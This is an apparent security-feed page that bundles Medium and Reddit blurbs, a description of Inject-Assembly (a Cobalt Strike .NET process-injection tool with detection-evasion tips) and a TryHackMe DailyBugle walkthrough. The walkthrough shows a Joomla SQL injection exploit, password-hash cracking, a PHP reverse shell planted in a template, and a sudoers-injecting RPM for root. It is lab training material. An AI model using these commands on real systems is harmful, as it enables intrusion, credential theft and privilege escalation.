Hacking on Medium
Jobs in Cybersecurity

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hello guys, are you excited to learn cybersecurity or ethical hacking ,You are curious about how things work and have thirst in learning…

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Hacking on Medium
Crypto heists are only getting bigger

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North Korean criminals stole an estimated $ 400 million in cryptocurrency by 2021, making it one of the most lucrative years for…

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hacking: security in practice
is rfids are secure to be copied

Rfid card just holding information anyone can read these cards can have that information and use that even if encrypted they can copy encrypted data so they use copy of that card isnt it true

submitted by /u/kuzeydekibuyucu
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hacking: security in practice
Whats a Tedy.68331

As the title states, im trying to figure out what a "tedy" is, some avs detect it on a python coded keylogger (14/66 detected btw ;) on virustotal) so if i can get the source for the so called "tedy", or a description, it would be much appreciated

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Hacking Articles|Raj Chandel's Blog
DailyBugle TryHackMe Walkthrough

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PORTSWIGGER WEB SECURITY - SQL INJECTION LAB ÇÖZÜMLERİ

PortSwigger Web Security, web güvenliği zafiyetlerini barındıran, Owasp top 10 zafiyetlerinin yer aldığı laboratuvarlardan oluşan bir web…Continue reading on Medium »
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KitPloit - PenTest Tools!
Inject-Assembly - Inject .NET Assemblies Into An Existing Process

http://4.bp.blogspot.com/-q8TMRPGkE3Q/Yd0LEXH3moI/AAAAAAAA73U/-gLOwe8yiTEsX4-RYEHT0AwUW2dqxQU9wCK4BGAYYCw/w640-h536/inject-assembly_1_demo-740812.gif This tool is an alternative to traditional fork and run execution for Cobalt Strike. The loader can be injected into any process, including the current Beacon. Long-running assemblies will continue to run and send output back to the Beacon, similar to the behavior of execute-assembly.
There are two components of inject-assembly:

1.
BOF initializer: A small program responsible for injecting the assembly loader into a remote process with any arguments passed. It uses BeaconInjectProcess to perform the injection, meaning this behavior can be customized in a Malleable C2 profile or with process injection BOFs (as of version 4.5).

2.
PIC assembly loader: The bulk of the project. The loader will initialize the .NET runtime, load the provided assembly, and execute the assembly. The loader will create a new AppDomain in the target process so that the loaded assembly can be totally unloaded when execution is complete.
Communication between the remote process and Beacon occurs through a named pipe. The Aggressor script generates a pipe name and then passes it to the BOF initializer. Notable Features* Patches Environment.Exit() to prevent the remote process from exiting.
* .NET assembly header stomping (MZ bytes, e_lfanew, DOS Header, Rich Text, PE Header).
* Random pipe name generation based on SourcePoint.
* No blocking of the Beacon, even if the assembly is loaded into the current process. UsageDownload and load the inject-assembly.cna Aggressor script into Cobalt Strike. You can then execute assemblies using the following command: inject-assembly pid assembly [args...] Specify 0 as the PID to execute in the current Beacon process.

It is recommended to use another tool, like FindObjects-BOF, to locate a process that already loads the .NET runtime, but this is not a requirement for inject-assembly to function. Warnings* Currently only supports x64 remote processes.
* There are several checks throughout the program to reduce the likelihood of crashing the remote process, but it could still happen.
* The default Cobalt Strike process injection may get you caught. Consider a custom injection BOF or UDRL IAT hook.
* Some assemblies rely on Environment.Exit() to finish executing. This will prevent the loader's cleanup phase from occurring, but you can still disconnect the named pipe using jobkill.
* Uncomment lines 3 or 4 of scmain.c to enable error or verbose modes, respectively. These are disabled by default to reduce the shellcode size. ReferencesThis project would not have been possible without the following projects:

* CLR-related definitions and implementation - https://github.com/TheWover/donut
* Beacon job interface and project structure - https://github.com/SecIdiot/netntlm

Other features and inspiration were taken from the following resources:

* https://github.com/med0x2e/ExecuteAssembly
* https://github.com/anthemtotheego/InlineExecute-Assembly
* https://www.mdsec.co.uk/2020/08/massaging-your-clr-preventing-environment-exit-in-in-process-net-assemblies Download Inject-Assembly

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Hacking on Medium
Ejecución dinámica con DInvoke

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Tras varios meses de desarrollo y una vez añadidas las últimas funcionalidades al proyecto, creo que Dinvoke_rs está preparado para que…

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Hacking on Medium
Social Engineering Part 1: What is Social Engineering?

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Social Engineering is a form of security fraud that relies on psychological manipulation techniques to trick people into revealing…

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Hacking on Medium
What is Cybersecurity? Why is it a Top Priority for Organizations in 2022?

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Cybersecurity testing, involving proper Vulnerability Assessment and Penetration Testing plays a pivotal role to protect any business…

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Hacking on Medium
Think like a scammer to protect your crypto assets

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Blockchain technology is revolutionizing the way we transact with each other, assets can be transferred faster, the identities of the…

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Hacking Articles
DailyBugle TryHackMe Walkthrough

IntroductionDailyBugle is a CTF Linux box with difficulty rated as “medium” on the TryHackMe platform. The machine covers Joomla 3.7.0 SQL injection vulnerability and privilege escalation using yum. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Discovering administrator directories using robots.txt
* Enumerating site using joomscan
* Discovering SQL injection flaw in the current installation

Exploitation

* Exploiting Joomla v 3.7.0 via SQLi in com_fields
* Cracking Joomla administrator hashes using john
* Modifying template to input PHP reverse shell code

Privilege Escalation

* Discovering other user’s credentials in the configuration file
* Elevating privileges using yum

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.10.91.172. We’ll run a nmap scan on this machine’s IP.
nmap -sV -sC 10.10.91.172 -Pn
https://blogger.googleusercontent.com/img/a/AVvXsEg6ewVbblANrSOJ8hJpqOiJm4vpL6GzTX_PRq55YoI4AIZYTyx3ai-iI8Lg9c4DxU6uvjNKW2BcZ7h5X8LUUhAOjKnW-J7B8ypRmTQ8_xEuP504BRRtLndcO-LeCHSt40QhPBE0UHG01OMyosqpwUuWv8g2ufSWHOjvh2SRHp6-_5vfNCiMv946fGuxfg=s16000 EnumerationWe discovered the existence of a robots file that has an administrator directory.

https://blogger.googleusercontent.com/img/a/AVvXsEhTrHsnJl3SbfG2uZwj87O4H_FBMMtsTt1XHofEGHgeAMI3iHwW9zpIjevF8BkDcrYp1gUtgLKA7u-rPL9YQ8exzrke6UOfF8iPpIoeIQ2ERJq_u1Uv0UCwfBk-zZD1R40HgH4u3K2ovMVcyq6WNXgYMmJAoR1C_Y4g8z0nzoH-MC_t4xsxkuDfGQaAWA=s16000

Upon opening this directory we found out that an instance of Joomla was running on this website.

https://blogger.googleusercontent.com/img/a/AVvXsEgJE6yRTBf0lnIJwen-LHSjAwWNHq2hzVvJ0Wdm7C7sVxzuW9bOzaW1f4iKWlm0kKxRptpi3nXY8M-sW-eL3Gq-8RJzuqjibMLnhTOZ2GkVLCUuDXfWwgR6vO5LNDvOBnuAp-RAKw4zSHc8kUU1g0YWM8Ogpcqnu794JCEOfFqoomHW0ZyfSipQh5wVbA=s16000

Thus, we ran joomscan on this website and discovered the version 3.7.0 being run
joomscan -u http://10.10.91.172
https://blogger.googleusercontent.com/img/a/AVvXsEhakG8ZlYC3f4V_0KcWD9fjPdTfNFbxH2cFRhPUVtc2c5hh4Q8C5O3v_z5ZShulgR3BbYcECDeEZW_zjVn3aVEPHxLt7CJoGp3G3mUA13k1eM2GLh2MQPRA4fFFjAwsQn6l0LBL7uAwzOxm39LTi5fRdh4mQPvofSFELIKCvIGGlv1HAG7QXuNrc4GjIw=s16000

Right away we looked out for public exploits for this installed instance using searchsploit and discovered that version 3.7.0 was vulnerable to SQLi via the com_fields parameter.
searchsploit joomla 3.7.0
searchsploit -m 42033
https://blogger.googleusercontent.com/img/a/AVvXsEiGbxsLeRA853OEWItjJv3GSfub_6eT9dw-6K2Jq1884y-v6Wi3QpiUQKTBddxNXuFf0tUCCgYFwXaRdus2yNYK4YH0Mqrqh_6dt9CoeyZK8ztf_07LKfNE2qOPh9UM1X6vbTpIb7SQu-IWQVk4lEmaj4VYqq1J5INNFDcXoBwk-Kj2DpTPDc_uYAIANw=s16000 ExploitationAs exploit number 42033 told us, this sql injection vulnerability could be exploited by the following command
sqlmap -u "http://10.17.32.212/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dump-all -p list[fullordering]
https://blogger.googleusercontent.com/img/a/AVvXsEiHhXa3jtipy1CO29WxYaQh9NJTXjh51tyhQoFYnfhJPz5avmsFIxFDqyEZCw76A4PWE91vfdrSORYKPBc9oj0VFx5_SkwX6crcv77NUStEGZINXq382CeRWFUjqVGn0PoM9m4vR06RPFJ1x5gRTsB8lEM0PTiOzbHe3GEr7ujliHd2hUuyRf0tdatIFA=s16000

However, while running this scan, it was taking way too long and so, we looked out for another script called “Joomblah.py” which is a POC for this SQLi vulnerability in Joomla v3.7.0. So we downloaded this script, ran and found credentials!
wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py
python2.7 joomblah.py http://10.10.91.172
https://blogger.googleusercontent.com/img/a/AVvXsEhf14J_masBIM5DT-W3tIH1EcwA3Sso33B-lbAL4FDksHMNHS2-F-Jzk-7Oq8cH_k7QB-J4J229vNdIPlNJr8tE0JHcPFAv1JrL7NezBJIJKADnokCXwCTbW9hOuCD1Sb7PqKRwnWMGP47ftYY9LFWwC[...]

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g-tsRlKqjtj-4v9SRV5X2IfPvc7bG0dr1EpwA=s16000

We had discovered the hash but to know it’s type we googled it up and found it was
bcrypt”

https://blogger.googleusercontent.com/img/a/AVvXsEgaJB6Rf9Vz8mR7iUHycd35n59vPSWQHk3bBfZZwnNWqAHOoW1zJMF-o2lbdKhKvC5l4EXfQBeBXU_iOjJB8rdIjx8V1KdGxHtLn0PG-cxRLMXX3hW2tryxd-zUV8U2mZAYlkfRo1U24aHx0EkNqDcaVrWn8l5j4pEJi9O6GJcXhdxyQQW8kBPBWXcc2Q=s16000

Thus we saved this hash in a  file and used john to crack them
cat hash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash
https://blogger.googleusercontent.com/img/a/AVvXsEhZSojChgR2YopgwwcKsZFffnhQ05Tx5oXRb_4vzba84YYYngX5Vjmp6UuVLYvH8ZmlWGKCM_RMxFEADxNhCHebLj6q2So4v98ctLQRg-aiDEbSpEH_Y_rxYxpWzIVUO6LzzV_d0ywi1E10BwljU4VLfemOYX6Ub6PB9N77RyglSn0fi-gVECyUl6FH3A=s16000

We see we have received clear text credentials. We logged in to the admin panel using this and can see a dashboard now!

https://blogger.googleusercontent.com/img/a/AVvXsEjDRa74V7ML_dQBn8CUsI_59j-Hjf-qTfcY2cz99YEktxsHj0zKeMRZcYOX0n3kic3bXFvRUnnIIv9y03jB0-6SjCY6xEg2lt3979pbzRN3doBrvPHFdcxRyHpkYQlzG9PpQVNr7QzuZx1i6WjBYsca1wwql0VJvdmI9fXPzbZhmPE9KYMNYP2c46PGPA=s16000

Like with any other CMS, Joomla also has templates that are running on PHP, therefore, right away we copied the php-reverse-shell.php code in the template file and clicked on template preview. Before launching template preview we also set up a netcat listener
nc -nlvp 1234
https://blogger.googleusercontent.com/img/a/AVvXsEhYo8AYrFzQx1if380pLpJw-nZHdqsQUjDh4hbYFpezgZWVd1IeFXXPlMHDdXZJPBWkR5mFuItkIwOHvzFBsuJIdW8nvP8v5mYxSkx1kPUuzRCjWYz9ThuGDWGQg78nubo1y9VSr3PqPjqSCOtNG5l2nA9DrhsESWctttsj-InPe3kcXAdfspUyxXaseQ=s16000

On our listener we see a shell popped up! Privilege EscalationNow that we have a working TTY on the victim box, we started looking for ways to escalate privileges. We checked the sudoers file but nothing was found.

https://blogger.googleusercontent.com/img/a/AVvXsEhQhNauxqMqhOh-lReB8JfRSE_29lSPjpEcRT5NuIb4tgJz63Udy72t3m9eLjoZwQZre4gXJ0Gx1h1wsGdbYCMJgOkN73zHxI5zpezFTcRxJ2mOzzJwh1pbXrogjrexcC1Z8KkZFk7CiZxOg3-jJf1cLEvFFMgp7T8JuqC2zx9UBBvS0achn_PF5MVrJg=s16000

After a quick system check and looking at the website’s files, we found a configuration file that had credentials of a database. root user had the password: nv5uz9r3ZEDzVjNu
cd /var/www/html
cat configuration.php
https://blogger.googleusercontent.com/img/a/AVvXsEhWVBOUGBMybQTxYpnVYOVtNnZ670yrF7lhEn9G0P1MvE3E8pDQZoWlrj8tnKqZnPNztu-iiR_p_nSO2Tk9Fz-pKubTnAkvTPKxKZ5IC65cSjoS7pemulMAug2tR80l40ppDqXi5v65FNW-h8UQMe-4klpr9Rf1DB9JcgW06NhnEPJ_4zZLSLoJ89h3oA=s16000

Now, we tried to login into another existing user jjameson using this password and it worked! We immediately spawned a stable teletype using python. Thereafter, we looked into the sudoers file and found yum in the entries.
su jjameson
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
https://blogger.googleusercontent.com/img/a/AVvXsEgfq0kL9_AtVTpJBemPkXKno-nAQBW_uzyKWH9WIw6Zsc-AgTsPAuvZTSch5lyLVkQRyZbBy3IuUW81K59bBiHGdL9cHznA_7AgEuCVy3SWVTt_OKJOvBbxuNXzTDQ9Sftt0Z9lExL1LqtZSNUh3QhacOSU61t-q4KqYXh6Pjt_6YZaAsPxo-F2PjSxug=s16000

Referring to gtfobins post here we can escalate our privileges by creating our custom RPM executable. For this we need rpm, fpm to be installed first. Thereafter, we’ll copy a command into a shell script. This echo command simply adds my user jjameson into the sudoers file so that any command can be run as root. This would be our payload. Then we create an rpm package using fpm package.
apt install rpm
gem install fpm
echo 'echo "jjameson ALL=(root) NOPASSWD:ALL" >> /etc/sudoers' > my.sh
fpm -n root -s dir -t rpm -a all --before-install my.sh .
python3 -m http.server 80
https://blogger.googleusercontent.com/img/a/AVvXsEiL9qM-HsFZBEXvnXw1_IuGYi8HL659Z7T-g69BAniicCBToAgl_mR5Xy8MR2Hjv3gUO68H3z0HCQtcJH00h0OB2uRdpudQSTb6ag3-MKnilV-7wJI-lIk8q4-3RFXGuN6EsCnXnYv2DZfLwcTOyrb43HzD6guOkRijMQDs6w0bWstKy65jV[...]

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